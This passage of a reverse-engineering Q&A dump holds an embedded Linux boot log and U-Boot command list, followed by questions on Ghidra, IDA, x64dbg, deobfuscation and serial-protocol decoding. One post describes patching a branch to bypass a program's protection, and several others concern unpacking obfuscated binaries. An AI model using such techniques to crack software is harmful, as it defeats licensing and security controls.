+[    0.003453] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
+[    0.007619] CPU: Testing write buffer coherency: ok
+[    0.009185] Setting up static identity map for 0x80100000 - 0x80100058
+[    0.018704] devtmpfs: initialized
+[    0.075673] VFP support v0.3: implementor 41 architecture 2 part 30 variant 7 rev 5
+[    0.077702] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
+[    0.079738] pinctrl core: initialized pinctrl subsystem
+[    0.088450] NET: Registered protocol family 16
+[    0.096017] DMA: preallocated 256 KiB pool for atomic coherent allocations
+[    0.121662] cpuidle: using governor menu
+[    0.235335] No ATAGs?
+[    0.235421] hw-breakpoint: found 5 (+1 reserved) breakpoint and 4 watchpoint registers.
+[    0.235466] hw-breakpoint: maximum watchpoint size is 8 bytes.
+[    0.239662] imx6ul-pinctrl 20e0000.iomuxc: initialized IMX pinctrl driver
+[    0.342756] mxs-dma 1804000.dma-apbh: initialized
+[    0.354723] SCSI subsystem initialized
+[    0.356743] usbcore: registered new interface driver usbfs
+[    0.357205] usbcore: registered new interface driver hub
+[    0.357732] usbcore: registered new device driver usb
+[    0.371759] i2c i2c-0: IMX I2C adapter registered
+[    0.371861] i2c i2c-0: can't use DMA, using PIO instead.
+[    0.375130] i2c i2c-1: IMX I2C adapter registered
+[    0.375243] i2c i2c-1: can't use DMA, using PIO instead.
+[    0.375715] Linux video capture interface: v2.00
+[    0.376298] pps_core: LinuxPPS API ver. 1 registered
+[    0.376342] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
+[    0.376490] PTP clock support registered
+[    0.378804] Advanced Linux Sound Architecture Driver Initialized.
+[    0.386157] Bluetooth: Core ver 2.21
+[    0.386451] NET: Registered protocol family 31
+[    0.386493] Bluetooth: HCI device and connection manager initialized
+[    0.386657] Bluetooth: HCI socket layer initialized
+[    0.386750] Bluetooth: L2CAP socket layer initialized
+[    0.387093] Bluetooth: SCO socket layer initialized
+[    0.393353] clocksource: Switched to clocksource mxc_timer1
+[    0.394955] VFS: Disk quotas dquot_6.6.0
+[    0.395154] VFS: Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
+[    0.469809] NET: Registered protocol family 2
+[    0.473710] TCP established hash table entries: 2048 (order: 1, 8192 bytes)
+[    0.473882] TCP bind hash table entries: 2048 (order: 4, 73728 bytes)
+[    0.475577] TCP: Hash tables configured (established 2048 bind 2048)
+[    0.475951] UDP hash table entries: 256 (order: 2, 20480 bytes)
+[    0.476446] UDP-Lite hash table entries: 256 (order: 2, 20480 bytes)
+[    0.478586] NET: Registered protocol family 1
+[    0.481133] RPC: Registered named UNIX socket transport module.
+[    0.481189] RPC: Registered udp transport module.
+[    0.481223] RPC: Registered tcp transport module.
+[    0.481255] RPC: Registered tcp NFSv4.1 backchannel transport module.
+[    0.490799] futex hash table entries: 256 (order: 1, 11264 bytes)
+[    0.494511] workingset: timestamp_bits=30 max_order=16 bucket_order=0
+[    0.560068] NFS: Registering the id_resolver key type
+[    0.560501] Key type id_resolver registered
+[    0.560544] Key type id_legacy registered
+[    0.562075] fuse init (API version 7.25)
+[    0.587295] io scheduler noop registered
+[    0.587357] io scheduler deadline registered
+[    0.588550] io scheduler cfq registered (default)
+[    0.599626] lcd_backlight supply power not found, using dummy regulator
+[    0.636295] Console: switching to colour frame buffer device 100x30
+[    0.653101] mxsfb 21c8000.lcdif: initialized
+[    0.657898] imx-sdma 20ec000.sdma: Direct firmware load for imx/sdma/sdma-imx6q.bin failed with error -2
+[    0.657979] imx-sdma 20ec000.sdma: external firmware not found, using ROM firmware
+[    0.684856] 2020000.serial: ttymxc0 at MMIO 0x2020000 (irq = 18, base_baud = 5000000) is a IMX
+[    1.346291] console [ttymxc0] enabled
+[    1.354793] 2024000.serial: ttymxc7 at MMIO 0x2024000 (irq = 19, base_baud = 5000000) is a IMX
+[    1.367774] 21e8000.serial: ttymxc1 at MMIO 0x21e8000 (irq = 219, base_baud = 5000000) is a IMX
+[    1.459475] brd: module loaded
+[    1.508714] loop: module loaded
+[    1.523143] libphy: Fixed MDIO Bus: probed
+[    1.530081] tun: Universal TUN/TAP device driver, 1.6
+[    1.535280] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>
+[    1.543022] CAN device driver interface
+[    1.554083] flexcan 2090000.flexcan: device registered (reg_base=d0988000, irq=23)
+[    1.567529] flexcan 2094000.flexcan: device registered (reg_base=d0990000, irq=24)
+[    1.585840] pps pps0: new PPS source ptp0
+[    1.592219] libphy: fec_enet_mii_bus: probed
+[    1.606885] fec 2188000.ethernet eth0: registered PHC device 0
+[    1.613883] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
+[    1.620487] ehci-mxc: Freescale On-Chip EHCI Host driver
+[    1.628031] usbcore: registered new interface driver usb-storage
+[    1.647084] ci_hdrc ci_hdrc.0: EHCI Host Controller
+[    1.652843] ci_hdrc ci_hdrc.0: new USB bus registered, assigned bus number 1
+[    1.683587] ci_hdrc ci_hdrc.0: USB 2.0 started, EHCI 1.00
+[    1.698253] hub 1-0:1.0: USB hub found
+[    1.702545] hub 1-0:1.0: 1 port detected
+[    1.717618] mousedev: PS/2 mouse device common for all mice
+[    1.730961] input: iMX6UL Touchscreen Controller as /devices/soc0/soc/2000000.aips-bus/2040000.tsc/input/input0
+[    1.750908] snvs_rtc 20cc000.snvs:snvs-rtc-lp: rtc core: registered 20cc000.snvs:snvs-r as rtc0
+[    1.760393] i2c /dev entries driver
+[    1.769849] IR NEC protocol handler initialized
+[    1.774614] IR RC5(x/sz) protocol handler initialized
+[    1.779735] IR RC6 protocol handler initialized
+[    1.784383] IR JVC protocol handler initialized
+[    1.788975] IR Sony protocol handler initialized
+[    1.793698] IR SANYO protocol handler initialized
+[    1.798460] IR Sharp protocol handler initialized
+[    1.803216] IR MCE Keyboard/mouse protocol handler initialized
+[    1.809147] IR XMP protocol handler initialized
+[    1.818819] Driver for 1-wire Dallas network protocol.
+[    1.835814] imx2-wdt 20bc000.wdog: timeout 60 sec (nowayout=0)
+[    1.842347] Bluetooth: HCI UART driver ver 2.3
+[    1.846988] Bluetooth: HCI UART protocol H4 registered
+[    1.852186] Bluetooth: HCI UART protocol LL registered
+[    1.860610] sdhci: Secure Digital Host Controller Interface driver
+[    1.866985] sdhci: Copyright(c) Pierre Ossman
+[    1.871399] sdhci-pltfm: SDHCI platform and OF driver helper
+[    1.944150] mmc0: SDHCI controller on 2190000.usdhc [2190000.usdhc] using ADMA
+[    1.972370] sdhci-esdhc-imx 2194000.usdhc: allocated mmc-pwrseq
+[    2.049183] mmc0: new DDR MMC card at address 0001
+[    2.054202] mmc1: SDHCI controller on 2194000.usdhc [2194000.usdhc] using ADMA
+[    2.073896] usbcore: registered new interface driver usbhid
+[    2.079543] usbhid: USB HID core driver
+[    2.087169] mmcblk0: mmc0:0001 004G60 3.69 GiB
+[    2.091635] mmcblk0boot0: mmc0:0001 004G60 partition 1 2.00 MiB
+[    2.110057] mmcblk0boot1: mmc0:0001 004G60 partition 2 2.00 MiB
+[    2.124280] mmcblk0rpmb: mmc0:0001 004G60 partition 3 512 KiB
+[    2.127167] random: fast init done
+[    2.163821]  mmcblk0: p1 p2 p3
+[    2.202947] ad7291: probe of 0-002b failed with error -5
+[    2.219661] ad7291: probe of 0-0028 failed with error -5
+[    2.232817] ad7291: probe of 0-002c failed with error -5
+[    2.245991] ad7291: probe of 0-002e failed with error -5
+[    2.260294] ad7291: probe of 0-002f failed with error -5
+[    2.271157] ad7291: probe of 0-0020 failed with error -5
+[    2.277839] ad7291: probe of 0-0022 failed with error -5
+[    2.284355] ad7291: probe of 0-0023 failed with error -5
+[    2.290613] 0-0035 supply vcc not found, using dummy regulator
+[    2.332144] NET: Registered protocol family 10
+[    2.370320] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver
+[    2.391321] NET: Registered protocol family 17
+[    2.396669] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this.
+[    2.409469] can: controller area network core (rev 20120528 abi 9)
+[    2.416208] NET: Registered protocol family 29
+[    2.420807] can: raw protocol (rev 20120528)
+[    2.427567] can: broadcast manager protocol (rev 20160617 t)
+[    2.433512] can: netlink gateway (rev 20130117) max_hops=1
+[    2.440819] Key type dns_resolver registered
+[    2.448746] cpu cpu0: dev_pm_opp_get_opp_count: OPP table not found (-19)
+[    2.511731] input: gpio-keys as /devices/soc0/gpio-keys/input/input1
+[    2.520111] snvs_rtc 20cc000.snvs:snvs-rtc-lp: setting system clock to 1970-01-01 00:09:20 UTC (560)
+[    2.615271] vdd3p0: disabling
+[    2.618343] 5V: disabling
+[    2.622018] ALSA device list:
+[    2.625126]   No soundcards found.
+[    2.641654] EXT4-fs (mmcblk0p2): INFO: recovery required on readonly filesystem
+[    2.650095] EXT4-fs (mmcblk0p2): write access will be enabled during recovery
+[    2.708695] EXT4-fs (mmcblk0p2): recovery complete
+[    2.717027] EXT4-fs (mmcblk0p2): mounted filesystem with ordered data mode. Opts: (null)
+[    2.725495] VFS: Mounted root (ext4 filesystem) readonly on device 179:2.
+[    2.736339] devtmpfs: mounted
+[    2.742408] Freeing unused kernel memory: 1024K (c0c00000 - c0d00000)
+[    2.857744] EXT4-fs (mmcblk0p2): re-mounted. Opts: data=ordered
+[    2.939440] EXT4-fs (mmcblk0p3): recovery complete
+[    2.945394] EXT4-fs (mmcblk0p3): mounted filesystem with ordered data mode. Opts: (null)
+Starting logging: OK
+Starting mdev...
+Initializing random number generator... done.
+Starting system message bus: done
+Starting network: [    4.657851] Micrel KSZ8081 or KSZ8091 2188000.ethernet:01: attached PHY driver [Micrel KSZ8081 or KSZ8091] (mii_bus:phy_addr=2188000.ethernet:01, irq=145)
+[    4.676761] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready
+udhcpc: started, v1.26.2
+udhcpc: sending discover
+udhcpc: sending discover
+udhcpc: sending discover
+udhcpc: no lease, failing
+FAIL
+Starting dropbear sshd: OK
+Starting lighttpd: OK
+Starting sshd: key_load_private: invalid format
+key_load_public: invalid format
+Could not load host key: /etc/ssh/ssh_host_rsa_key
+key_load_private: invalid format
+key_load_public: invalid format
+Could not load host key: /etc/ssh/ssh_host_dsa_key
+key_load_private: invalid format
+key_load_public: invalid format
+Could not load host key: /etc/ssh/ssh_host_ecdsa_key
+key_load_private: invalid format
+key_load_public: invalid format
+Could not load host key: /etc/ssh/ssh_host_ed25519_key
+sshd: no hostkeys available -- exiting.
+OK
+/etc/init.d/rcS: line 26: /etc/init.d/S90init-carte-iminilide: Permission denied
+hwclock: settimeofday: Invalid argument
+hwclock :
+Thu Jan  1 00:09:33 1970  0.000000 seconds
+hwclock -r :
+Thu Jan  1 00:09:33 1970  0.000000 seconds
+date :
+Thu Jan  1 01:09:32 CET 1970
+
+Welcome to Armadeus development platform !
+opos6ul login:
+
+And here are the available u-boot commands : +
BIOS> help
+?       - alias for 'help'
+askenv  - get environment variables from stdin
+base    - print or set address offset
+bdinfo  - print Board Info structure
+bmode   - spi-nor|normal|usb|sata|ecspi1:0|ecspi1:1|ecspi1:2|ecspi1:3|esdhc1|esdhc2|esdhc3|esdhc4 [noreset]
+bmp     - manipulate BMP image data
+boot    - boot default, i.e., run 'bootcmd'
+bootd   - boot default, i.e., run 'bootcmd'
+bootefi - Boots an EFI payload from memory
+
+bootm   - boot application image from memory
+bootp   - boot image via network using BOOTP/TFTP protocol
+bootz   - boot Linux zImage image from memory
+clocks  - display clocks
+cmp     - memory compare
+coninfo - print console devices and information
+cp      - memory copy
+crc32   - checksum calculation
+dhcp    - boot image via network using DHCP/TFTP protocol
+dm      - Driver model low level access
+dns     - lookup the IP of a hostname
+echo    - echo args to console
+editenv - edit environment variable
+env     - environment handling commands
+exit    - exit script
+ext2load- load binary file from a Ext2 filesystem
+ext2ls  - list files in a directory (default /)
+ext4load- load binary file from a Ext4 filesystem
+ext4ls  - list files in a directory (default /)
+ext4size- determine a file's size
+ext4write- create a file in the root directory
+false   - do nothing, unsuccessfully
+fatinfo - print information about filesystem
+fatload - load binary file from a dos filesystem
+fatls   - list files in a directory (default /)
+fatsize - determine a file's size
+fdt     - flattened device tree utility commands
+fstype  - Look up a filesystem type
+fuse    - Fuse sub-system
+go      - start application at address 'addr'
+gpio    - query and control gpio pins
+grepenv - search environment variables
+help    - print command description/usage
+iminfo  - print header information for application image
+imxtract- extract a part of a multi-image
+itest   - return true/false on integer compare
+load    - load binary file from a filesystem
+loadb   - load binary file over serial line (kermit mode)
+loads   - load S-Record file over serial line
+loadx   - load binary file over serial line (xmodem mode)
+loady   - load binary file over serial line (ymodem mode)
+loop    - infinite loop on address range
+ls      - list files in a directory (default /)
+md      - memory display
+mdio    - MDIO utility commands
+meminfo - display memory information
+mii     - MII utility commands
+mm      - memory modify (auto-incrementing address)
+mmc     - MMC sub system
+mmcinfo - display MMC info
+mtest   - simple RAM read/write test
+mw      - memory write (fill)
+nfs     - boot image via network using NFS protocol
+nm      - memory modify (constant address)
+ping    - send ICMP ECHO_REQUEST to network host
+printenv- print environment variables
+reset   - Perform RESET of the CPU
+run     - run commands in an environment variable
+save    - save file to a filesystem
+saveenv - save environment variables to persistent storage
+setenv  - set environment variables
+setexpr - set environment variable as the result of eval expression
+showvar - print local hushshell variables
+size    - determine a file's size
+sleep   - delay execution for some time
+source  - run script from memory
+test    - minimal test like /bin/sh
+tftpboot- boot image via network using TFTP protocol
+true    - do nothing, successfully
+ums     - Use the UMS [USB Mass Storage]
+usb     - USB sub-system
+usbboot - boot from USB device
+version - print monitor, compiler and linker version
+
+" +"['decompilation', 'ghidra']"," Title: Improving Ghidra's Auto-Structure creatorBody: I'm currently attempting to read decompilation in Ghidra. I've identified what I believe to be a "God object" that the library is uses to store state for the entire program. It's passed everywhere and has ~216 fields to it. It's far too large to manually figure out the structure of the struct (with my current ability), so I had Ghidra "Auto create structure" to define it. +The problem now is, I'm seeing weird behavior where the struct is used. For the initialization of the mutexes that it holds for example, prior to retyping, this is how the code looks in the decompilation window (__arg is a pointer to the newly calloced God-object): +
undefined4 *god
+. . .
+pthread_mutex_init((pthread_mutex_t *)(god + 2),(pthread_mutexattr_t *)0x0);
+pthread_mutex_init((pthread_mutex_t *)(god + 0x39),(pthread_mutexattr_t *)0x0);
+pthread_mutex_init((pthread_mutex_t *)(god + 0x1c00f2),(pthread_mutexattr_t *)0x0);
+
+Which is ugly, but mostly makes sense. I'm assuming god + 0x39 is a reference to a field (although, god + 0x1c00f2 is a rather huge field offset) . The problem is, when I retype the field to be of type God (the auto-generated type), it changes to this: +
God *god;
+
+pthread_mutex_init(&god->mutex1,(pthread_mutexattr_t *)0x0);
+pthread_mutex_init(&god[1].mutex1,(pthread_mutexattr_t *)0x0);
+pthread_mutex_init((pthread_mutex_t *)&god[0x8258].field_0x28,(pthread_mutexattr_t *)0x0);
+
+My best guess as to this weird result is the struct was created improperly. If I go around to different functions where it's used and have Ghidra attempt to create a struct, the size of the struct changes every time (although, it's always around 210-230 fields). +Is there anything I can do to improve Ghidra's auto-creation of the struct? And am I correct that the array-access notation suggests an improper creation of a struct? +" +"['ida', 'debugging', 'android', 'debuggers']"," Title: Why IDA debugger on android doesn't show all threads?Body: My IDA Version is IDA Pro 7.5 SP2. And I'm trying to debug a .so file inside a .apk file. +Here's what I've done: +
    +
  • download a x86_64 system image android emulator from android studio
  • +
  • install that .apk on emulator and run it.
  • +
  • push android_x64_server inside /dbgsrv of IDA installation folder into /data folder of emulator.
    +(adb push ida-folder/dbgsrv/android_x64_server /data)
  • +
  • execute the following command:
  • +
+
adb shell
+cd /data
+chmod 777 ./android_x86_server  
+./android_x86_server
+
+
    +
  • back into windows terminal, and execute adb forward tcp:23946 tcp:23946
  • +
  • open IDA Pro, select remote linux debugger attach to apk's process
  • +
+And the "Threads" window only show one thread, which is not true because when I execute ps -T -p [pid] inside adb shell, and found that the process is a multi-thread application. +Here is the screenshot: + +" +"['disassembly', 'dll', 'obfuscation', '.net', 'packers']"," Title: How to disassemble an obfuscated .NET DLL?Body: I asked earlier about unpacking a packed .NET exe. But now I need to see the source code for an obfuscated DLL: + +Any idea how to unpack it? +" +"['debugging', 'debuggers', 'c#', 'exception', 'pdb']"," Title: Mono.Cecil throws SymbolsNotMatchingException, how to find out Method line number?Body: I tried to use a PDB file to map the Instructions to the Sequencepoints in Mono.Cecil and find out the line number of a method. But none of the answers in any forum seems to work, because no matter what I try the SymbolsNotMatchingException is thrown with the error message +
+Symbols were found but are not matching the assembly". +
+By the way, my target "application" is a Unity Game. +Here is some code I use (side note: ProjectPath is the path to my target *.dll): +
var resolver = new DefaultAssemblyResolver();
+resolver.AddSearchDirectory(GetDLLsFolderToResolve(ProjectPath));
+
+using var assembly = AssemblyDefinition.ReadAssembly(ProjectPath,
+                new ReaderParameters { ReadWrite = true, AssemblyResolver = resolver, 
+                    SymbolReaderProvider = new PdbReaderProvider(), ReadSymbols = true });
+
+I have already the Mono.Cecil.dll and Mono.Cecil.Pdb.dll in the same folder due to import Mono.Cecil via NuGet. Also, the target DLL and the PDB also are in the same folder. +Does anybody have a working example? Or any idea how this error could be solved? Would be happy for any help. +" +"['arm', 'ghidra']"," Title: Ghidra showing pointer being given as size argument of callocBody: I'm attempting to figure out the structure of a "God object". +I found where it's being initialized, but I've never seen calloc used like this before: +
god = (God *)calloc(1,(size_t)&god_size_marker?);
+__aeabi_memclr8(god,&god_size_marker?);
+
+Where God is the structure that I'm currently attempting to figure out, and god_size_marker? is the name I gave to the pointer location. +The bizarre thing is, it's passing a pointer to the second argument of calloc. If I have Ghidra follow god_size_marker?, I see: +
                     god_size_marker?                                XREF[2]:     create_instance:0005b0ac(*), 
+                                                                                  create_instance:0005b0c8(*)  
+00700438 7d              db         7Dh
+
+So the address is 0x700438. If I manually set the structure to have a size of 0x700438, that appears to fix the issue in my last question, but that's ridiculous. What significance could a pointer into the .rodata section possibly have? This also apparently has the bizarre consequence of some field offsets in the struct coinciding with global variable addresses: +
puVar4 = (uint *)&DAT_007003e8;  // These lines are right beside each other. Note the names.
+bVar20 = first_counter <= *(uint *)&god->field_0x7003e8;
+
+Is it actually reasonable that they've initialized a struct's size using a pointer? To me, that suggests that Ghidra is misinterpreting something, and that there's something that I need to fix. I wouldn't even know where to start though from this behavior alone. +For reference, here is the relevant disassembly of the calls to calloc and __aebi_memclr8: +
    0005b0ac 05 f1 70 01     add.w      r1=>god_size_marker?,r5,#0x70                    = 7Dh
+    0005b0b0 93 46           mov        r11,r2
+    0005b0b2 00 68           ldr        r0,[r0,#0x0]=>->__stack_chk_guard                = 01dbe014
+    0005b0b4 4f f0 01 0a     mov.w      r10,#0x1
+    0005b0b8 00 68           ldr        r0,[r0,#0x0]=>__stack_chk_guard                  = ??
+    0005b0ba 19 90           str        r0,[sp,#local_3c]
+    0005b0bc 01 20           movs       r0,#0x1
+    0005b0be f8 f7 2c ec     blx        <EXTERNAL>::calloc                               void * calloc(size_t __nmemb, si...
+    0005b0c2 40 f2 38 41     movw       r1,#0x438
+    0005b0c6 04 46           mov        r4,god
+    0005b0c8 c0 f2 70 01     movt       r1=>god_size_marker?,#0x70                       = 7Dh
+    0005b0cc f8 f7 ee eb     blx        <EXTERNAL>::__aeabi_memclr8                      undefined __aeabi_memclr8()
+
+Unfortunately, while I can read x86 assembly, my knowledge of ARM is fairly limited. Any insight as to what might be going on here would be appreciated. +" +['x64dbg']," Title: Patches are not applying after saving in X64dbgBody: I'm new to this and I used X64 debugger for a short while +The thing is , I was testing the security for some software (for educational purposes only!) and finally I found a way break into it , but when I save the work and changes don't apply ! +The part where the arrow points in the image never change form je to jne: + +Any idea why ? +" +['x64dbg']," Title: How to run a script in x64dbgBody: In the x64dbg manual is many scripting commands and other things, but nowhere in it is mentioned, how to launch a script. +So, my question is: How to launch a script in x64dbg? +" +['symbols']," Title: Demangling symbols from green hills rh850 compiled binaryBody: I have a binary compiled in Rh850 using green hills compiler from the looks. Luckily, it still symbols attached ,but I am struggling to read the symbols and it is worth my time to demangle them. Is there a script or better yet a rule set that I can extract somehow to start this process? I am wanting to avoid the whole compiling binaries until I solve all the symbols myself. +I assume there is a symbol conversion table or something documented somewhere, but either will be great. +I found a couple of scripts, but they are very incomplete. +https://github.com/Chadderz121/ghs-demangle +https://github.com/jackwakefield/ghs-demangler +" +"['android', 'ghidra']"," Title: Can I find usages of this string in my .so file? ARMBody: My apologies if this question is very basic. I have found this string in my Android application Binary that was built using the flutter framework. This is a 32 bit ARM library. I found the location of a url string at "00c88fa0" located below. I want to find the assembly code that loads and uses this string. I used Ghidra's "show call trees" and "Show references to address" functionality, but they have been unable to help me. I assume the string is being referenced by a base address + offset calculation. Is there an easy way for me to find this section of the code? Or is it not easily possible because there are too many base + offset calculations that could arrive at my String? +Thank you. + +Updated image: + +" +"['ida', 'android', 'linux']"," Title: Why IDA debugger keep receiving SIGTRAP or SIGSEGV after set a break-point and then deactivated that break-pointBody: Here's the problem: +
    +
  • I set a breakpoint in IDA debugger
  • +
  • the program stop at the breakpoint
  • +
  • deactivated the breakpoint
  • +
  • IDA keep receiving SIGTRAP or SIGSEGV
  • +
+
+( program stop at breakpoint as expected ) : + +( deactivated the breakpoint and continue execution ) : + + + +( and the SIGTRAP or SIGSEGV goes on and on till program stop, and the adb shell shows) : +
Error: Oops! internal error 30060 occurred.
+
+" +"['ida', 'debugging', 'arm', 'gdb', 'qemu']"," Title: Debug bFLT in qemu-arm-staticBody: I have bFLT binary (into linux-arm arch.) that I can run with qemu-arm-static . +I want to debug that binary dynamically with GDB. +I know I can debug binary with qemu like qemu-arm-static -g 1111 <binary path> +The problem is that when I run gdb-multiarch with that bFLT binary gdb tell me that <binary path> not in executable format: file format not recognized +How can I debug with GDB bFLT binary? +" +"['x86-64', 'mach-o', 'jeb']"," Title: Is it possible to extract the header files used by a Mach-O 64-bit SDK Binary?Body: I have a Mach-O 64 bit SDK that I've opened up with JEB (community edition) and I'd like to know if it's even possible to see things like the header files (.h) used/referenced by the binary. +The reason is I'm trying to understand what sort of sensitive information can be extracted from the binary other than just running strings on it. I know the header files used to compile the binary contain information that is sensitive but I can't determine if that information is visible (or even included?) or not when the binary ships out. +" +"['linux', 'gdb', 'qemu']"," Title: Handle Ioctl call while running with qemuBody: I am using qemu to emulate a binary like this +qemu -strace XXXXX . +I saw that the first 2 system calls of this process were TCGETS to stdin and stdout. From man pages +
Get and set terminal attributes
+      TCGETS Argument: struct termios *argp
+              Equivalent to tcgetattr(fd, argp).
+              Get the current serial port settings.
+
+And after those 2 syscall the process got SIGSEGV. +Is there any simple way to handle those syscall so the process continues without a segfault? +" +"['ida', 'idapython', 'gdb']"," Title: Paint path in Ida according to gdb log fileBody: In Gdb I put script that print each instruction to gdb.txt file. +I want to load this file to Ida to show and print/paint the path that the process has been running. +The gdb script is +
# not strictly required, but you'll likely want the log anyway 
+(gdb) set logging on
+
+# ask gdb to not stop every screen-full 
+(gdb) set height 0
+
+(gdb) while 1
+ > x/i $pc
+ > stepi
+ > end
+
+Is there any python /module in Ida that already do that? +If no, how can I do that nicely? +" +"['ida', 'ghidra']"," Title: Adding signatures to GhidraBody: I have a couple of questions about the Ghidra +
    +
  1. I am analyzing a binary file and in the binary it uses a functions from libstdc++. What is the best way to add the signatures of functions from "libstdc++" into my binary file ? +
  2. +
  3. I see in the "External program" window multiple so files, from where Ghidra takes this so files ? +
  4. +
+" +"['hex', 'serial-communication', 'hexadecimal']"," Title: Strategies for Deciphering RS-232 DataBody: I'm working with an old irrigation controller that is connected to a PC via the DB9 serial port. +I was able to capture that data (tapped into the appropriate TX wire) on a separate laptop, but now I'm stuck translating it into meaningful information. +When idle, the controller continuously broadcasts the line current to the PC and because variable data stands out among static values, this seemed like a logical place to start deciphering the data. Below is an excerpt of the serial data while the system is idle: +
ff 3a 30 32 34 49 30 30 38 34 3b 30 30 30 30 0d 0a
+ff 3a 30 32 34 49 30 30 38 36 3b 30 30 30 30 0d 0a
+ff 3a 30 32 34 49 30 30 38 35 3b 30 30 30 30 0d 0a
+ff 3a 30 32 34 49 30 30 38 34 3b 30 30 30 30 0d 0a
+ff 3a 30 32 34 49 30 30 37 45 3b 30 30 30 30 0d 0a
+ff 3a 30 32 34 49 30 30 37 43 3b 30 30 30 30 0d 0a
+ff 3a 30 32 34 49 30 30 37 43 3b 30 30 30 30 0d 0a
+
+The bytes that I suspect of carrying the line current information are indicated with __ below, as all of the other bytes remain static when system is idle: +
ff 3a 30 32 34 49 30 30 __ __ 3b 30 30 30 30 0d 0a
+
+There is a test cycle that can be run to check current before, during, and after activation of a particular sprinkler head. Here is an excerpt of that: +
ff 3a 30 32 34 49 30 30 38 31 3b 30 30 30 30 0d 0a  (system idle, typical current ~130 mA)
+ff 3a 30 34                                  0d 0a  (system wait)
+ff 3a 30 32 34 49 30 30 38 36 3b 30 30 30 30 0d 0a  (system active, typical current ~550 mA)
+ff 3a 30 34                                  0d 0a  (system wait)
+ff 3a 30 32 34 49 30 30 38 35 3b 30 30 30 30 0d 0a  (system idle, typical current ~210 mA)
+
+There are two pairs of wires leaving the controller, but I suspect the controller reports the total combined current rather than reporting them separately. +Current values approximately 130 mA while idle, and around 550 mA while active, but I'm struggling to find a way to translate "38 34", "37 45" etc. into meaningful values. +This is my first foray into this sort of puzzle, so any related advice/tips/suggestions for deciphering serial data would be welcome. +Edit: +Omitting the leading "ff", below is the appearance in ASCII form. +idle state: +
:024I007D;0000
+:024I0082;0000
+:024I0080;0000
+:024I0084;0000
+:024I0086;0000
+:024I0082;0000
+:024I0081;0000
+:024I0080;0000
+:024I0082;0000
+:024I0086;0000
+:024I0084;0000
+:024I007E;0000
+:024I007E;0000
+:024I0080;0000
+:024I0081;0000
+:024I0080;0000
+:024I007E;0000
+:024I0081;0000
+:024I0085;0000
+:024I0085;0000
+:024I0086;0000
+:024I0081;0000
+
+running: +
:024I0081;0000  (system idle)
+:04             (system wait)
+:024I0086;0000  (system running) 
+:04             (system wait)
+:024I0085;0000  (system idle)
+:04
+:04
+:04
+:024I0080;0000
+:04
+:024I0081;0000
+:04
+:024I007E;0000
+
+" +"['ida', 'dump']"," Title: Imports shifting in the dumpBody: Dumped the PE using Scylla, analysing without issues, but when I was trying to inspect codes, I see that IDA analysed imports incorrectly. +It means that I see for example MapViewOfFile(), which according to pseudo does not what it should do, after jump to this imp in .idata I see what this should be GetModuleHandleW() (Fake + 0x18 = real) and this is valid for all imports, OFC, IDA analysed all wrong + undefined variables causes that. +Never seen that issue, maybe somebody knows how to fix. + +" +['javascript']," Title: How does one go about reverse-engineering obfuscated/minified JavaScript in a browser like you would code in an IDE?Body: I am trying to figure out how some minified and possible highly-obfuscated JavaScript works. There are thousands of lines spanning multiple JS files. I have had a lot of success debugging it in my Chromium browser using dev tools and local overrides where I can refactor code without losing it on the next page load. +What's giving me problems are all the anonymous functions and types that look they were transpiled from TypeScript. They look like this: +
var main = {
+    someFunction: function(a,b,c,d,e) {
+        //do a ton of stuff here
+    },
+    anotherFunction: function(d,e,f,g,h,i) {
+        //even more stuff
+    },
+    someProperty: { json object with more members }
+}
+
+If that were a class/object in .NET in the Visual Studio IDE, I would have all kinds of tools to help me figure out how such an object is built, all the places its members are referenced, etc. With a dynamic language like JavaScript, though, regular browser debuggers lack the information needed to give me that kind of insight into the code. Therefore, when I need to see where a property is initially set, there's no way to look for all the places it's referenced. You can use CTRL+F, but, if there are multiple objects with the same property names, it's not a very effective approach. +If I had the debugging power of an IDE such as Visual Studio, it would make reverse engineering this code so much easier. How can you make debugging JavaScript just as straight-forward? +" +"['windows', 'malware']"," Title: Want to use win API hooking to detect wmi query string? But can't find IWbemServices::ExecQuery in fastprox.dllBody: I want to implement WMI query detection function using apimon plugin in sandbox https://github.com/tklengyel/drakvuf +To do it,I have to get the DLL symbol file. +But I can't locate the IWbemServices::ExecQuery method in any DLL. +Is there any idea to detect wmi query string like select * from win32_operatingsystem +only using API monitoring? +" +['pe']," Title: What is imagebase word means used in Lena151 RE tutorial?Body: In part 3 of lena RE tutorial, i see a word : imagebase +Can anyone tell me more about this and better meaning of this word? + +" +"['ida', 'windows', 'obfuscation', 'x86-64', 'control-flow-graph']"," Title: Fixing/recompiling a heavily control flow obfuscated functionBody: I've recently come across a binary that has been obfuscated with a very obscure protection. +Obfuscation +From what I understand, the obfuscator is effective in several ways. +
    +
  • Multiple JMPs via relative addressing (0xE9), JMPs to addresses in stack (e.g jmp [rsp-0x8]), and less frequently, JMPs using registers (jmp reg). These are extremely effective at rendering the CFG in IDA Pro useless.
  • +
  • Constant stack arithmetic. The obfuscator is continuously using stack memory to hold vital parts of information such as variables and JMPs to the next block (as stated previously). More importantly, the instruction sub rsp, # and add rsp, # and substituted via lea rsp, [rsp+-#]. IDA's analyzer also fails to acknowledge a change in the stack pointer in the instruction lea rsp, [rsp+8].
  • +
  • Junk code. Instructions that don't exactly have any effect or pertain to the original function's goal.
  • +
  • Slight use of opaque predicates (however I haven't spotted too many).
  • +
  • Conditional branching via cmov instructions, e.g
  • +
+
test rax, rax
+... ; junk
+mov rdx, sub_not_equal
+mov rcx, [rsp-0x8]
+cmovz rcx, rdx
+... ; stack stuff
+-> jmp to position in stack containing rcx
+
+Examples +
.text:00007FF639A15EA9                                                     loc_7FF639A15EA9:                       
+.text:00007FF639A15EA9 048 48 89 04 24                                                     mov     [rsp+48h+var_48], rax
+.text:00007FF639A15EAD 048 48 8D 64 24 08                                                  lea     rsp, [rsp+8]
+.text:00007FF639A15EB2 040 48 8B 74 24 F8                                                  mov     rsi, [rsp+40h+var_48]
